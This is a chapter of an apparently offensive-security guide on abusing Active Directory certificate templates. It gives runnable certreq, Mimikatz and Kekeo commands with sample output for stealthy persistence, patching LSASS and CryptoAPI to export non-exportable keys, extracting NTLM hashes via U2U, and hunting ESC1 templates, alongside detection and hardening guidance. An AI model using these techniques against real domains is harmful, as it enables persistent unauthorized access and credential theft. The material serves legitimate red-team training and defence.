Skip to content

Chapter 37: PKI - Certificate Templates

Introduction

If the Certificate Authority is the "engine" of a PKI, then certificate templates are the "blueprints." They define who can get a certificate, what that certificate can do, and how long it lasts. In the previous chapter, we talked about the catastrophic impact of compromising the CA itself. But in many cases, you don't need to break into the engine room to get what you want. You just need to find a blueprint that has been left lying around with the wrong permissions.

In my experience, the default "User" certificate template is one of the most reliable ways to gain persistence in a domain. Why? Because by default, AD CS allows any authenticated domain user to request a certificate that is valid for client authentication. Once you have this certificate, you have a legitimate, signed identity that survives password resets and MFA changes. It's a clean, quiet way to keep a foot in the door without needing to forge anything.

In this chapter, we're going to look at the architecture of certificate templates and how to enumerate them using native tools like certutil and PowerShell. We'll walk through the process of requesting a certificate via certreq, exporting it, and using it for PKINIT authentication. We'll also cover extracting NTLM hashes from certificates using the U2U technique. Finally, we'll discuss the detection signatures—like the mass enrollment of certificates—and the hardening steps you can take to ensure your templates aren't becoming an attacker's favorite persistence tool.

Technical Foundation: The Blueprint Logic

Certificate Template Architecture

Templates are stored in the Configuration partition of Active Directory. This means every domain controller in the forest knows about them, and they replicate across the entire forest.

Location: CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=...

Each template is an AD object with attributes that define its behavior:

AttributePurpose
pKIExtendedKeyUsageDefines what the certificate can be used for (Client Auth, Server Auth, Code Signing, etc.)
msPKI-Certificate-Name-FlagDetermines how the subject name is constructed
msPKI-Enrollment-FlagControls enrollment behavior and requirements
msPKI-Private-Key-FlagSpecifies private key handling (exportable, archive, etc.)
msPKI-RA-SignatureNumber of required enrollment agent signatures (0 = auto-issue)
pKIExpirationPeriodHow long the certificate remains valid
pKIOverlapPeriodHow early before expiration a renewal can occur

The "User" Template Trap

The User template is included with every AD CS installation. It's designed for email encryption and client authentication, but it's also a persistence goldmine.

Why it matters:

  • The EKU: It includes the Client Authentication (1.3.6.1.5.5.7.3.2) OID. This is exactly what we need for Kerberos PKINIT.
  • The Permissions: By default, "Authenticated Users" or "Domain Users" have the "Enroll" permission. If you have a low-privilege shell, you can get a certificate.
  • The Validity: It usually lasts for one year. That's 365 days of persistence from a single command.
  • No Approval: The msPKI-RA-Signature attribute is typically 0, meaning the CA auto-issues without human review.

Certificate Stores in Windows

Microsoft stores certificates in what are called "stores," with each store serving a specific purpose. Understanding stores is critical for locating and exporting certificates.

System Store Types:

System StoreLocationDescription
CURRENT_USERHKEY_CURRENT_USERCertificates for the current user (enrolled or imported)
USER_GROUP_POLICYUser GPOCertificates enrolled via GPO at logon
LOCAL_MACHINEHKEY_LOCAL_MACHINEComputer-specific certificates
LOCAL_MACHINE_GROUP_POLICYMachine GPOCertificates pushed via GPO at startup
LOCAL_MACHINE_ENTERPRISEEnterprise NTAuthCA trust store for smart card logon
CURRENT_SERVICEService contextCertificates for the current service account
SERVICESAll servicesCertificate stores for all services with certificates

Common Store Names:

  • My - Personal certificates
  • Root - Trusted root CAs
  • CA - Intermediate CAs
  • Trust - Trusted certificates
  • TrustedPublisher - Trusted publishers for code signing

Key Certificate Attributes

When examining a certificate with Mimikatz, these fields are critical for attack planning:

FieldSignificance
SubjectThe object the certificate was issued to
IssuerThe CA that signed it (DN of the CA)
SerialUnique identifier for the certificate
UPNUser Principal Name from the Subject Alternative Name (SAN)
ValidityStart and end dates
ProviderThe cryptographic provider handling the keys
Exportable keyWhether the private key can be exported

Command Reference

Template Enumeration with certutil

The certutil.exe utility is a native Windows tool for certificate management. It's available on every Windows system and leaves minimal forensic traces.

Basic Template Enumeration:

cmd
certutil -CATemplates

This lists every template the CA is currently offering along with who can enroll.

certutil Template Enumeration

Parameters for certutil -CATemplates:

ParameterDescription
-config <CA>Specify a particular CA (format: CAServer\CAName)
-vVerbose output with full security descriptors
-userUse user context (default)
-mtDisplay template information in machine context

Additional certutil Commands:

CommandDescription
certutil -dumpDisplay certificate details
certutil -store MyList certificates in the personal store
certutil -user -store MyList user certificates in personal store
certutil -scinfoList smart card certificates
certutil -delkey -csp "provider" "container"Delete a key container

Template Enumeration with PowerShell

For more targeted enumeration, PowerShell allows us to query AD directly for templates with specific characteristics.

Find Templates Allowing Client Authentication Without Approval:

powershell
$configurationContainer = ([adsi] 'LDAP://RootDSE').Get('ConfigurationNamingContext')
$searcher = [adsisearcher]"(&(objectClass=pKICertificateTemplate)(msPKI-Enrollment-Flag:1.2.840.113556.1.4.804:=8)(|(pKIExtendedKeyUsage=1.3.6.1.5.5.7.3.2)(pKIExtendedKeyUsage=1.3.6.1.4.1.311.20.2.2)))"
$searcher.SearchRoot = [adsi]"LDAP://$configurationContainer"
$searcher.FindAll()

LDAP Filter Breakdown:

Filter ComponentMeaning
objectClass=pKICertificateTemplateOnly certificate templates
msPKI-Enrollment-Flag:1.2.840.113556.1.4.804:=8Auto-enrollment enabled
pKIExtendedKeyUsage=1.3.6.1.5.5.7.3.2Client Authentication EKU
pKIExtendedKeyUsage=1.3.6.1.4.1.311.20.2.2Smart Card Logon EKU

Certificate Request with certreq

The certreq.exe utility handles certificate enrollment via RPC to the CA.

Request a User Certificate:

cmd
certreq -enroll -user -q User

certreq Certificate Request

Parameters for certreq:

ParameterDescription
-enrollSubmit an enrollment request
-userUse user context (vs. machine)
-qQuiet mode (no prompts)
-config <CA>Specify CA (format: CAServer\CAName)
-attrib "CertificateTemplate:<name>"Specify template by name
-fForce overwrite of existing certificate

Successful Enrollment Output:

Active Directory Enrollment Policy
  {GUID}
  ldap:
The operation completed successfully.
RequestId = 5
CAServer.domain.com\CAName
Serial Number: <hex>
<thumbprint>
Key Container Name: <container>
    The requested certificate has been issued.

Certificate in Personal Store

Mimikatz Certificate Commands

crypto::stores - List Certificate Stores

Parameters for crypto::stores:

ParameterDescription
/systemstore:<store>System store to enumerate (default: CURRENT_USER)

Valid System Store Values:

  • CURRENT_USER or CERT_SYSTEM_STORE_CURRENT_USER
  • LOCAL_MACHINE or CERT_SYSTEM_STORE_LOCAL_MACHINE
  • LOCAL_MACHINE_ENTERPRISE or CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE
  • CURRENT_SERVICE or CERT_SYSTEM_STORE_CURRENT_SERVICE
  • SERVICES or CERT_SYSTEM_STORE_SERVICES
  • USERS or CERT_SYSTEM_STORE_USERS
  • USER_GROUP_POLICY or CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY
  • LOCAL_MACHINE_GROUP_POLICY or CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY

Example:

mimikatz # crypto::stores /systemstore:current_user
Asking for System Store 'current_user' (0x00010000)
 0. My
 1. Root
 2. Trust
 3. CA
 4. UserDS
 5. TrustedPublisher
 ...

crypto::certificates - List and Export Certificates

Parameters for crypto::certificates:

ParameterDescription
/systemstore:<store>System store to use (default: CURRENT_USER)
/store:<name>Certificate store name (default: My)
/exportExport certificates to files (DER for public, PFX for private)
/silentAbort if user interaction is required (important for smart cards!)
/nokeyDon't attempt to access private key

Example - List User Certificates:

mimikatz # crypto::certificates /systemstore:current_user /store:My
 * System Store  : 'current_user' (0x00010000)
 * Store         : 'My'

 0. Carlos Perez
    Subject  : DC=pvt, DC=acmelabs, CN=Users, CN=Carlos Perez
    Issuer   : DC=pvt, DC=acmelabs, CN=LabRootCA1
    Serial   : 090000000000a9b46a2843d1346c0900000018
    UPN      : cperez@acmelabs.pvt
    Hash SHA1: 59c372f91061180b220de263ce65ec6bc3d69e97
        Key Container  : cfd7846d7ec1ce69798715236c644571_...
        Provider       : Microsoft Enhanced Cryptographic Provider v1.0
        Exportable key : NO

Critical Tip: Always check for smart card presence with crypto::sc before listing certificates. If a smart card is present and you don't use /silent, a PIN prompt may appear and lock your agent.

Example - Export Certificates:

mimikatz # crypto::capi
Local CryptoAPI RSA CSP patched
Local CryptoAPI DSS CSP patched

mimikatz # crypto::certificates /export

crypto::capi - Patch CryptoAPI for Export

This command patches the local CryptoAPI providers in memory to allow exporting private keys marked as non-exportable.

No parameters - simply run:

mimikatz # crypto::capi
Local CryptoAPI RSA CSP patched
Local CryptoAPI DSS CSP patched

Providers Affected (CryptoAPI-based):

  • Microsoft Base Cryptographic Provider v1.0
  • Microsoft Enhanced Cryptographic Provider v1.0
  • Microsoft Strong Cryptographic Provider
  • Microsoft Base Smart Card Crypto Provider
  • Microsoft RSA SChannel Cryptographic Provider
  • Microsoft Enhanced RSA and AES Cryptographic Provider

crypto::cng - Patch CNG for Export

For certificates using CNG (Cryptography API: Next Generation) providers, we need to patch the KeyIso service in LSASS.

Requirements:

  • Debug privilege or SYSTEM context
  • Write access to LSASS memory
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # crypto::cng
"KeyIso" service patched

Providers Affected (CNG-based):

  • Microsoft Software Key Storage Provider
  • Microsoft Smart Card Key Storage Provider
  • Microsoft Platform Crypto Provider

IOC Alert: Patching CNG generates Event ID 4663 (Kernel Object Access) if auditing is enabled, and Sysmon will log LSASS access with PROCESS_VM_WRITE.

Kekeo Commands for Certificate Authentication

tgt::ask - Request TGT with Certificate

Parameters for tgt::ask:

ParameterDescription
/subject:<UPN>UPN of the certificate to use
/pfx:<file>Path to PFX file containing certificate and private key
/pfxpassword:<pass>Password for the PFX file
/caname:<CA>CA name if using local store certificate
/pttPass the ticket (inject into current session)
/domain:<FQDN>Target domain
/dc:<server>Specific domain controller

Example - TGT with User Template Certificate:

kekeo # tgt::ask /subject:user /ptt

Kekeo TGT Request with Certificate

Example - TGT with PFX File:

kekeo # tgt::ask /subject:alice@corp.acme.com /pfx:alice.pfx /ptt

tgt::pac - Extract NTLM Hash from Certificate

This is the U2U (User-to-User) technique. By requesting a service ticket to yourself using your certificate, the KDC includes your PAC (Privilege Attribute Certificate) which contains your NTLM hash.

Parameters for tgt::pac:

ParameterDescription
/subject:<UPN>UPN of the certificate to use
/credExtract credentials (NTLM hash) from PAC
/pfx:<file>Path to PFX file
/pfxpassword:<pass>Password for PFX
/domain:<FQDN>Target domain
/dc:<server>Specific domain controller

Example:

kekeo # tgt::pac /subject:bthomas@acmelabs.pvt /cred
Realm        : acmelabs.pvt (acmelabs)
User         : bthomas@acmelabs.pvt (bthomas)
CName        : bthomas@acmelabs.pvt     [KRB_NT_ENTERPRISE_PRINCIPAL (10)]
SName        : krbtgt/acmelabs.pvt      [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : RSA
[kdc] name: SDDC01.acmelabs.pvt (auto)
[kdc] addr: 10.1.1.4 (auto)
  [0] NTLM
  NTLM: 7a118f7a2f2b34d61fa19b840b4f5203

Attack Scenarios

Scenario 1: The Redundant Access

I often use this during engagements to ensure I don't lose access if my primary C2 is discovered. Here's the workflow:

  1. Enumerate templates available to Domain Users
  2. Request User certificates for five or six different compromised accounts
  3. Export each certificate to PFX files
  4. Store them securely off the target network

Even if IT catches one compromised account and resets the password, I still have five other legitimate, signed identities waiting. Certificates survive password resets because PKINIT doesn't use the account's password at all.

Scenario 2: Credential Harvesting via U2U

Remember the U2U trick we covered in Chapter 35? You can use a certificate obtained from the "User" template to extract the account's NTLM hash. This allows you to perform an "offline password strength audit" (cracking) without ever having to touch LSASS or trigger an EDR alert for credential dumping.

The workflow:

  1. Request a User certificate: certreq -enroll -user -q User
  2. Use tgt::pac /subject:user /cred to extract the NTLM hash
  3. Crack offline or use for Pass-the-Hash

Scenario 3: Template Abuse for Privilege Escalation (ESC1)

If you find a template where the subject name can be specified in the request (the ENROLLEE_SUPPLIES_SUBJECT flag is set), you can request a certificate for any user, including Domain Admins.

Detection:

powershell
# Find templates with ENROLLEE_SUPPLIES_SUBJECT
$config = ([adsi]'LDAP://RootDSE').Get('ConfigurationNamingContext')
$searcher = [adsisearcher]"(&(objectClass=pKICertificateTemplate)(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1))"
$searcher.SearchRoot = [adsi]"LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$config"
$searcher.FindAll() | ForEach-Object { $_.Properties.cn }

Detection - The SOC View

Certificate Issuance Monitoring

  1. CA Event ID 4887 (Certificate Services issued a certificate): This is your primary indicator. Monitor this on your CA servers. Look for:

    • Sudden spikes in issuance for the "User" template
    • Certificates issued to service accounts that shouldn't have them
    • Multiple certificates issued to the same user in a short window
  2. Event ID 4886 (Certificate Services received a certificate request): Track who's requesting certificates.

Authentication Monitoring

  1. Event ID 4768 (Kerberos TGT requested): Look for PreAuthType 16 (PKINIT). If a user who never uses a smart card suddenly starts authenticating with PKINIT, investigate.

  2. Event ID 4769 (Kerberos service ticket requested): After PKINIT authentication, monitor for unusual service access patterns.

Enumeration Detection

  1. LDAP Monitoring: Watch for LDAP queries targeting pKICertificateTemplate objects, especially from non-admin workstations. This indicates template reconnaissance.

Certificate Export Detection

  1. Event ID 1006 (Microsoft-Windows-CertificateServicesClient-AutoEnrollment/Operational): Generated when certificates are enrolled via auto-enrollment or certreq.

  2. Event ID 4663 (Object Access): If Kernel Object auditing is enabled, CNG patching will generate this event.

  3. Sysmon Event ID 10 (Process Access): LSASS access with PROCESS_VM_WRITE indicates CNG patching.

Defensive Strategies

  1. Harden Enrollment ACLs: Remove "Authenticated Users" and "Domain Users" from the enrollment ACL of the User template. Create a specific security group for users who actually need these certificates.

  2. Enable Manager Approval: For any template that allows Client Authentication, enable "CA certificate manager approval" (msPKI-RA-Signature > 0). This forces human review before issuance.

  3. Reduce Validity Period: Change the User template validity from 1 year to 90 days or less. This shrinks the persistence window significantly.

  4. Disable ENROLLEE_SUPPLIES_SUBJECT: Never allow requesters to specify their own subject name on templates with authentication EKUs. This is ESC1.

  5. Monitor Template Modifications: Alert on changes to certificate templates via Event ID 4899 (Certificate Template Security changed).

  6. Audit Certificate Enrollment: Enable auditing on your CAs and collect Event IDs 4886, 4887, 4888, and 4889.

  7. Use Certify/PSPKI for Audits: Regularly scan your templates for misconfigurations using tools like Certify, Certipy, or the PSPKI PowerShell module.

  8. Segment CA Servers: Treat your CA servers as Tier 0 assets, equivalent to domain controllers. Restrict administrative access severely.

Certificate Template Vulnerability Comparison

The security research community has cataloged several "Escalation Scenarios" (ESC) related to certificate templates:

ESCNameVulnerabilityExploitation
ESC1Misconfigured Certificate TemplatesTemplate allows requesters to specify SANRequest cert for DA, authenticate as them
ESC2Misconfigured Certificate TemplatesTemplate has dangerous EKU (Any Purpose)Request cert, use for any authentication
ESC3Misconfigured Enrollment Agent TemplatesEnrollment agent + template allows impersonationRequest cert on behalf of any user
ESC4Vulnerable Certificate Template ACLsLow-priv users can modify templateModify template, then exploit via ESC1
ESC7Vulnerable CA ACLsLow-priv users have ManageCA rightsTake over CA configuration
ESC8NTLM Relay to AD CS HTTP EndpointsWeb enrollment vulnerable to relayRelay machine account, get cert for DC

Operational Considerations

  1. Pre-Check for Smart Cards: Before running crypto::certificates, always run crypto::sc to check for smart card readers. If one is present, use the /silent flag to avoid locking your agent with a PIN prompt.

  2. Certificate Persistence Timing: User certificates are valid for 1 year by default. Plan your engagement timeline accordingly. If the engagement extends beyond a year, you'll need to re-enroll.

  3. Export Before You Lose Access: Always export certificates to PFX files immediately after enrollment. If you lose shell access, you lose the ability to use the certificate unless you've exported it.

  4. CryptoAPI vs CNG: Check the Provider field in the certificate details. If it says "Microsoft Software Key Storage Provider" or any CNG provider, you'll need crypto::cng (which touches LSASS). If it's a CryptoAPI provider, use crypto::capi (less noisy).

  5. Clean Up After Yourself: In red team operations, consider whether you want to leave enrolled certificates. They can be traced back to your activities. However, deleting them also leaves logs.

  6. PFX Password: When Mimikatz exports a PFX, the default password is mimikatz. Change this for operational security.

Practical Lab Exercises

  1. The Discovery: List all templates available on your lab CA using certutil -CATemplates. Find one that allows Domain Users to enroll. Note the EKU and approval requirements.

  2. The Request: Use certreq -enroll -user -q User to get a certificate for your lab user. Verify it's in your store with certutil -user -store My. Note the serial number and thumbprint.

  3. The Export:

    • Run crypto::capi to patch the export restrictions
    • Run crypto::certificates /export to export to PFX
    • Move the PFX file to a safe location
  4. The NTLM Harvest: Using Kekeo, run tgt::pac /subject:user /cred to extract the NTLM hash from your certificate. Compare with the hash in LSASS.

  5. The Pivot: Export that certificate to a PFX, move it to another machine, and use Kekeo to get a TGT with tgt::ask /subject:user /pfx:user.pfx /ptt. Verify with klist.

  6. The Fix: Enable manager approval on the User template in your lab and try to enroll again. Note the "Pending" status and check the CA's pending requests queue.

  7. The Template Hunt: Use PowerShell to find all templates with the ENROLLEE_SUPPLIES_SUBJECT flag. These are your ESC1 candidates.

Summary

Certificate templates are often the weakest link in a domain's PKI.

  • Default templates like "User" are overly permissive and allow any domain user to obtain client authentication certificates.
  • certreq is a powerful, native tool for certificate enrollment that leaves minimal traces.
  • certutil and PowerShell provide comprehensive enumeration of available templates and their permissions.
  • Persistence obtained through templates is highly resilient, surviving password resets and MFA changes for up to one year.
  • U2U (tgt::pac) allows extraction of NTLM hashes from certificates without touching LSASS.
  • ESC vulnerabilities (ESC1-ESC8) represent systematic weaknesses in AD CS deployments.
  • Detection requires CA-level logging and monitoring for PKINIT authentication anomalies.
  • Hardening requires restrictive ACLs, human approval workflows, and regular template audits.

Next: Chapter 38: PKI - MustinessPrevious: Chapter 36: PKI - Abusing Certificate Authorities